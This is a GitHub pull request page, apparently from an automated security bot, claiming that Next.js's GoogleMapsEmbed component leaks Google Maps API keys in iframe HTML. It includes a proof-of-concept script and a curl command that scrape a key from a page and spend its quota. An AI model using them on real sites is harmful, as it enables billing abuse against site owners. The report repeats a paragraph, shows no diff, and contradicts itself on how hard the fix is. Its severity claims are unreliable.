Skip to content

Conversation

@orbisai0security
Copy link

Security Fix

This PR addresses a MEDIUM severity vulnerability detected by our security scanner.

Security Impact Assessment

Aspect Rating Rationale
Impact Medium Exposed API keys could lead to unauthorized Google Maps API usage, resulting in unexpected billing charges for users of Next.js applications. The impact is limited to financial costs and potential service disruption rather than data breach or system compromise.
Likelihood High This is a third-party component library distributed with Next.js that developers will use directly in production applications. Client-side API key exposure is guaranteed by design, and automated scanners can easily extract these keys from any deployed application using this component.
Ease of Fix Hard Fixing this requires architectural changes to proxy API requests through a backend endpoint rather than client-side embedding, which would break the current simple drop-in component API. This necessitates documentation updates, migration guides, and potentially maintaining backward compatibility for existing users.

Evidence: Proof-of-Concept Exploitation Demo

⚠️ For Educational/Security Awareness Only

This demonstration shows how the vulnerability could be exploited to help you understand its severity and prioritize remediation.

How This Vulnerability Can Be Exploited

The Google Maps Embed component in Next.js directly embeds the API key into the iframe's src attribute, exposing it in the rendered HTML source code of any web page using this component. An attacker can exploit this by accessing the page's source code (e.g., via browser dev tools or curl), extracting the key, and then using it to make unauthorized Google Maps API requests, potentially exhausting quotas or incurring costs for the legitimate owner.

The Google Maps Embed component in Next.js directly embeds the API key into the iframe's src attribute, exposing it in the rendered HTML source code of any web page using this component. An attacker can exploit this by accessing the page's source code (e.g., via browser dev tools or curl), extracting the key, and then using it to make unauthorized Google Maps API requests, potentially exhausting quotas or incurring costs for the legitimate owner.

// PoC: Simulate extracting the API key from a Next.js page using the GoogleMapsEmbed component
// This assumes a web application built with Next.js that renders the component, e.g., a page at http://example.com/map
// Attacker would visit the page and inspect the source or use a script like this to automate extraction.

// Step 1: Fetch the HTML source of the page (attacker needs public access to the page)
const axios = require('axios');

async function extractApiKey(url) {
  try {
    const response = await axios.get(url);
    const html = response.data;
    
    // Step 2: Parse the HTML to find the iframe src containing the API key
    // The key is in the format: https://www.google.com/maps/embed/v1/...&key=YOUR_API_KEY
    const iframeMatch = html.match(/<iframe[^>]*src="([^"]*google\.com\/maps\/embed[^"]*)"/i);
    if (iframeMatch) {
      const srcUrl = iframeMatch[1];
      const keyMatch = srcUrl.match(/[?&]key=([^&]*)/);
      if (keyMatch) {
        const apiKey = keyMatch[1];
        console.log('Extracted API Key:', apiKey);
        
        // Step 3: Demonstrate misuse - Make an unauthorized API call (e.g., to Google Maps Geocoding API)
        // This could be done with the stolen key to consume quota or access restricted data
        const misuseResponse = await axios.get(`https://maps.googleapis.com/maps/api/geocode/json?address=New+York&key=${apiKey}`);
        console.log('Misuse successful:', misuseResponse.data.status); // Should be 'OK' if key is valid and unrestricted
        return apiKey;
      }
    }
    console.log('API Key not found in source.');
  } catch (error) {
    console.error('Error:', error.message);
  }
}

// Example usage: Replace with a real Next.js app URL that uses GoogleMapsEmbed
extractApiKey('http://example-nextjs-app.com/map-page');
# Alternative: Manual steps for an attacker with browser access
# 1. Navigate to a Next.js web page that renders the GoogleMapsEmbed component (e.g., http://example.com/map)
# 2. Right-click > View Page Source (or use Ctrl+U)
# 3. Search for "google.com/maps/embed" in the HTML
# 4. Locate the iframe src URL, e.g., <iframe src="https://www.google.com/maps/embed/v1/place?key=YOUR_API_KEY&q=...">
# 5. Extract the key from the URL parameter (e.g., YOUR_API_KEY)
# 6. Use the key in a tool like curl to test or abuse:
curl "https://maps.googleapis.com/maps/api/geocode/json?address=New+York&key=YOUR_API_KEY"
# If successful, the response will include geocoding data, confirming the key works and consuming quota.

Exploitation Impact Assessment

Impact Category Severity Description
Data Exposure Medium The Google Maps API key is exposed in plain text in the client-side HTML, allowing theft. If the key grants access to other Google services (e.g., Places API, Directions API), an attacker could extract or infer location data from users interacting with the map, potentially leaking sensitive user locations or business addresses handled by the Next.js application.
System Compromise None This is a client-side credential exposure with no direct path to server-side system access, code execution, or privilege escalation in the Next.js application or its hosting environment.
Operational Impact Medium An attacker could exhaust the API key's quota through repeated unauthorized requests (e.g., geocoding or embedding calls), leading to service disruptions for legitimate users of the Next.js app (e.g., maps failing to load) and unexpected costs for the owner, potentially in the hundreds or thousands of dollars depending on usage volume.
Compliance Risk Low May violate OWASP Top 10 A05:2021 (Security Misconfiguration) if API keys are not properly restricted. For applications handling regulated data (e.g., GDPR if EU user locations are exposed), it could risk minor compliance issues, but impact is limited as no direct user data breach occurs beyond the key itself.

Vulnerability Details

  • Rule ID: V-003
  • File: packages/third-parties/src/google/google-maps-embed.tsx
  • Description: The GoogleMapsEmbed component directly embeds the provided apiKey into the src URL of an iframe. This makes the API key visible in the client-side HTML source code. If the key is not properly restricted in the Google Cloud Console, it can be stolen and used by malicious actors.

Changes Made

This automated fix addresses the vulnerability by applying security best practices.

Files Modified

  • packages/third-parties/src/google/google-maps-embed.tsx

Verification

This fix has been automatically verified through:

  • ✅ Build verification
  • ✅ Scanner re-scan
  • ✅ LLM code review

🤖 This PR was automatically generated.

Automatically generated security fix
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant